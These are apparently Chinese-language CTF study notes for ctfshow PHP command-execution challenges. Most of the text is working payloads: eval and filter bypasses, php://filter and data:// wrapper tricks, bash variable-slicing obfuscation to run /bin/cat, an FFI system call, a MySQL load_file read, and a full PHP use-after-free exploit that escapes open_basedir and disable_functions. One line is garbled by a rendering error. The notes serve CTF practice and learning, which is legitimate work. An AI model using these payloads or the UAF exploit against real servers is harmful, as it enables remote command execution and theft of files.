知识点:echo `` nl 文件包含 伪协议读源码
eval(“c”);漏洞
eval($c);
echo `nl fl''ag.php`
//echo执行系统命令,nl显示行号和本行的内容,''分隔符
cat fl$1ag.php
eval($c);
echo `nl fl$1ag.p''hp`;
echo `nl fl''ag.p''hp`;
eval($c);
show_source(next(array_reverse(scandir(pos(localeconv())))));
//show_source() 函数对文件进行语法高亮显示,本函数是 highlight_file() 的别名。
//next()输出数组中的当前元素和下一个元素的值:
//array_reverse() 函数以相反的元素顺序`返回`数组。(主要是能返回值)
//scandir() 函数返回指定目录中的文件和目录的数组。
//pos()输出数组中的当前元素的值:
//localeconv() 函数返回一个包含本地数字及货币格式信息的数组。
c=include($_POST["a"]);
a=php://filter/convert.base64-encode/resource=flag.php
//因为它只对变量c过滤。
c=eval($_POST[a]);
a=echo `tac flag.php`
c=eval($_GET[1]);&1=system('tac flag.php');
c=include$_GET["a"]?>&a=php://filter/convert.base64-encode/resource=flag.php
//因为此命令用不到;号
//用post传参要用到;号
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
//若过滤了',"号则可以用数字传参
php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
//字符参数可以不加',"
c=data://text/plain,
//非base64
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
//自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
c=data://text/plain,
//fl* 会匹配适合文件。
?c=eval(array_pop(next(get_defined_vars())));
cmd=system("cat flag.php");
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
current() 返回数组中的当前元素的值。
next() 返回数组中的下一个元素的值。
原理:我们从最里层往外剖析,get_defiined_vars();返回所有数组元素,然后通过next函数取得我们上传的post数组也就是[_POST] => Array ( [cmd] => system(“cat flag.php”);但是此时取得的还不是我们想要的命令语句,我们可以通过array_pop()来取得post的元素,也就是system(“cat flag.php”);,最后通过eval来运行它。
注:(这里的array_pop虽然是删除并返回数组最后一个元素,但在这之前我们已经通过next函数提取出了post数组,也就是说此时数组就一个元素,就是post元素。current是返回当前元素,而当前元素是get所以不用current)
print_r(get_defined_vars());返回一个多维数组:
print_r(next(get_defined_vars()));
cmd=system(“cat flag.php”);
c=eval(array_pop(next(get_defined_vars())));
cmd=system(“cat flag.php”);看源码拿flag
show_source(next(array_reverse(scandir(pos(localeconv())))));
原理:因为localeconv()的第个元素是“.”,然后pos()能够提取出当前元素的值,也就是“.”,而scandir()能过返回指定目录中的文件和目录的数组,然而上一层pos()已经提取出".“,这样就变成scandir(”.")返回当前目录下的目录数组,array_reverse()以相反的元素顺序返回数组,next()提取第二个元素,最后用read_file()、highlight_file()和show_source()读出源码。
?c=session_start();system(session_id());
提交之后 Cookie中会生成PHPSESSID,这时候我们可以把它的值改成ls再提交(在Application中改),然后就会显示当前目录下的文件,也可以用bp来抓包
原理:session默认不使用所以加了session_start()让php开始使用session,利用session_id()让php读取我们设置的cookie,在此之前要在Application中改PHPSESSID值为ls找到flag文件名,然后运行以下代码:
?c=show_source(session_id((session_start())));
在Application中改PHPSESSID值为flag文件名
概念:数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于 40 。然后再利用 PHP 允许动态函数执行的特点,拼接出一个函数名,,然后动态执行该代码即可。
例如:
echo "A"^"?";//异或,输出~
?>
原理:代码中对字符 A 和字符 ? 进行了异或操作。在 PHP 中,两个变量进行异或时,先会将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完,又将结果从二进制转换成了 ASCII 值,再将 ASCII 值转换成字符串。
c=cat flag.php%0a
c=tac flag.php ||
c=cat flag.php ||
//A || B A执行成功就不执行B,同理,A执行不成功就执行B
//A | B 将A的执行结果传入B
//A && B A成功执行后执行B,如果A不成功,那么B就不会被执行
c=tac f* ||
c=nl fl*%0a
c=tac%20fl*||
c=tac%09fl*||
//%09为tab
echo$IFS`tac$IFS*`%0A
echo$IFS`nl$IFS*`%0A
//IFS表示 Internal Field Separator (内部字段分隔符)
c=tac>fla%27%27g.php||
//<和>可以代替空格,%27为'
c=tac%09fla''g.php||
c=nl%09fl''ag.php||
c=tac%09fl%27%27ag.php||
c=tac
c=nl
c=nl${IFS}/fl\ag||
ca''t${IFS}fl''ag.php
ca''t${IFS}fl\ag.php
c=/bin/ca?${IFS}????.???
//根目录下的bin文件夹下的cat,又因为强正则,所以????.???代替flag.php
base64的使用
可以通过通配符进行匹配命令执行查看flag.php
payload:?c=/???/????64 ????.???
意思是 /bin/base64 flag.php
bzip2的使用
bzip2是linux下面的压缩文件的命令
我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php
. /???/????????
. 绕过
原理是文件上传,然后php会把他保存到临时目录/tmp去,然后利用.执行文件 ,配合通配符*,[@-[] 表示大写字母 (@-[中间是大写字母,/tmp的目录生成临时文件是8个字符的且必有大写 )
相当于. /tem/.....
然后可以通过 ls …/…/一层一层往上查看找flag文件的地址
$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))再对-2做一次取反得到1,所以值为1
作者:一碗海鲜汤
链接:https://www.jianshu.com/p/4352534aacbd
exp:
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
show_source(next(array_reverse(scandir(pos(localeconv())))));
echo file_get_contents(“flag.php”);
c=show_source(“flag.php”);
同 web 58的 01
c=show_source(“flag.php”);
c=show_source(“flag.php”);
同上
或者
c=include(‘flag.php’);echo $flag;
c=include_once(‘flag.php’);var_dump(get_defined_vars());
c=include_once(‘flag.php’);highlight_file(“flag.php”);
…
c=print_r(scandir(‘/’));查看文件路径
c=highlight_file(‘/flag.txt’);
同上
但要用var_dump
c=var_dump(scandir(‘/’));
查目录
c=include(‘/flag.txt’);
包含因为不是php,会自动解析为html格式
d = o p e n d i r ( " / " ) ; w h i l e ( f a l s e ! = = ( d=opendir("/");while(false!==( d=opendir("/");while(false!==(f=readdir(KaTeX parse error: Expected '}', got 'EOF' at end of input: d))){echo"f\n";}
//opendir(path,context)若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 “@” 来隐藏 error 的输出。
//readdir() 函数返回由 opendir() 打开的目录句柄中的条目。若成功,则该函数返回一个文件名,否则返回 false。
//scandir() 函数返回一个数组,其中包含指定路径中的文件和目录。
//若成功,则返回一个数组,若失败,则返回 false。如果 directory 不是目录,则返回布尔值 false
原理:由opendir返回当前的目录流,然后readdir返回opendir中的目录条目,若存在则返回文件名,然后循环,依次输出直到最后一个
c=include(‘/flag.txt’);
同上
ob_get_contents():此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回false。可以看到如果输出的是数字或者字母,就都变成?。
c=var_export(scandir('/'));exit();
想办法在include()之后就结束代码:
c=include('/flag.txt');exit();
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
//读取的文件会变为???
读取的文件会变为???
用glob读,其他和69原理差不多
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} exit(0);
?>
///遍历目录下的所有文件,并用glob匹配
或
c=$a="glob:///*.txt";
if($b = opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n";
}
closedir($b);
}
exit();
但是此题有open_basedir,限制了我们可访问的目录,所以我们要用uaf绕过,记得要url编码一下
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦
var_export(scandir(“/”));
发现flagc.txt,然后包含它
include(‘/flagc.txt’);exit();
有dir的都行不通,可以用glob,两种写法。
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().' ');}exit(0);?>
包含
c=include("/flagx.txt");exit(0);?>
或者直接
c=?><?php $a=new DirectoryIterator('/');
foreach($a as $f){echo($f->__toString().' ');}exit(0);?>
c=?>
查找文件还是glob,但查询不是,用数据库
记得传的时候把注释去掉
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
//连接数据库(地址,数据库名字,用户名,密码)
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
//引用dbh对象的query执行sql语句,读取根目录下的flag36.txt并把内容作为字符串返回
echo ($row[0]) . "|";
}
$dbh = null;//赋空
} catch (PDOException $e) {//报错后处理的地方
echo $e->getMessage();//获取异常消息内容
exit(0);
}
exit(0);
//PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
//PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
//如果有任何连接错误,将抛出一个 PDOException 异常对象。
//query — 执行 SQL 语句,返回PDOStatement对象,可以理解为结果集
//->用来引用对象的成员(属性与方法)
//LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
同上
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo($f->__toString().' ');}exit(0);?>
利用php7.4的FFI
(PHP 7 >= 7.4.0, PHP 8)
FFI::cdef — Creates a new FFI object
FFI(Foreign Function Interface),即外部函数接口,
是指在一种语言里调用另一种语言代码的技术。
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
然后访问1.txt
学到了新方法
${PATH:5:1} 截取PATH变量里从头开始第五个位置,取1个字符
${PATH:~7:1} 截取PATH变量里从尾巴开始第7个位置,取1个字符
${PATH:~A} 截取PATH变量里最后一个字符(写法2:${PATH:~0} 写法3:${PATH:~a})
payload:
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
${PWD:A:${##}} -- /
${PWD:~${PHP_VERSION:~A}:${##}} -- t
/bin/cat flag.php
payload:
${PWD:A:${##}}???${PWD:A:${##}}??${PWD:~${PHP_VERSION:~A}:${##}} ????.???
${PWD:A:${##}} --/
${#RANDOM} -- 4
/bin/base64 flag.php //RANDOM为随机数可能是四位数也可能是五位数,所以要多试几次
${PWD:A:${##}}???${PWD:A:${##}}?????${#RANDOM} ????.???
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
上一题的00x2符合。
${PWD:A:${##}} --/
${#RANDOM} -- 4
/bin/base64 flag.php //RANDOM为随机数可能是四位数也可能是五位数,所以要多试几次
${PWD:A:${##}}???${PWD:A:${##}}?????${#RANDOM} ????.???
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev
参考:
https://blog.csdn.net/m0_48780534/article/details/125095631
https://blog.51cto.com/allenh/1695810
/bin/base64 flag.php
code=
题解:https://blog.csdn.net/shinygod/article/details/123636571
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{cos}($$pi{exp})&cos=system&exp=cat flag.php
https://www.bilibili.com/video/BV1jy4y1a7Ew/